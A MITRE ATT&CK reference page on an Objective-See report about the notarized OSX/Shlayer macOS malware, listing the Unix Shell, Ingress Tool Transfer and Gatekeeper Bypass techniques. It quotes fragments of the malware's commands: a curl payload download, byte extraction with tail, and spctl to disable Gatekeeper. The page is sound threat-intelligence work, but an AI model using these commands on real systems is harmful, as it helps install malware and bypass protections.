ATT&CK Referencesobjectivesee osx.shlayer apple approved 2020

objectivesee osx.shlayer apple approved 2020

Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. Retrieved September 13, 2021.

Techniques0

Not cited by any technique.

None recorded.

None recorded.

None recorded.

Technique	Used by	Procedure example
T1059.004 Unix Shell	MalwareOSX/Shlayer	OSX/Shlayer can use bash scripts to check the macOS version, download payloads, and extract bytes from files. OSX/Shlayer uses the command `sh -c tail -c +1381...` to extract bytes at an offset from a specified file. OSX/Shlayer uses the `curl -fsL "$url" >$tmp_path` command to download malicious payloads into a temporary directory. 20 macOS Common Tools and Techniques Carbon Black Shlayer Feb 2019 objectivesee osx.shlayer apple approved 2020 sentinelone shlayer to zshlayer
T1105 Ingress Tool Transfer	MalwareOSX/Shlayer	OSX/Shlayer can download payloads, and extract bytes from files. OSX/Shlayer uses the `curl -fsL "$url" >$tmp_path` command to download malicious payloads into a temporary directory. 20 macOS Common Tools and Techniques Carbon Black Shlayer Feb 2019 objectivesee osx.shlayer apple approved 2020 sentinelone shlayer to zshlayer
T1553.001 Gatekeeper Bypass	MalwareOSX/Shlayer	If running with elevated privileges, OSX/Shlayer has used the `spctl` command to disable Gatekeeper protection for a downloaded file. OSX/Shlayer can also leverage system links pointing to bash scripts in the downloaded DMG file to bypass Gatekeeper, a flaw patched in macOS 11.3 and later versions. OSX/Shlayer has been Notarized by Apple, resulting in successful passing of additional Gatekeeper checks. Carbon Black Shlayer Feb 2019 Shlayer jamf gatekeeper bypass 2021 objectivesee osx.shlayer apple approved 2020

Data from MITRE ATT&CK® (Enterprise). ATT&CK® is a registered trademark of The MITRE Corporation.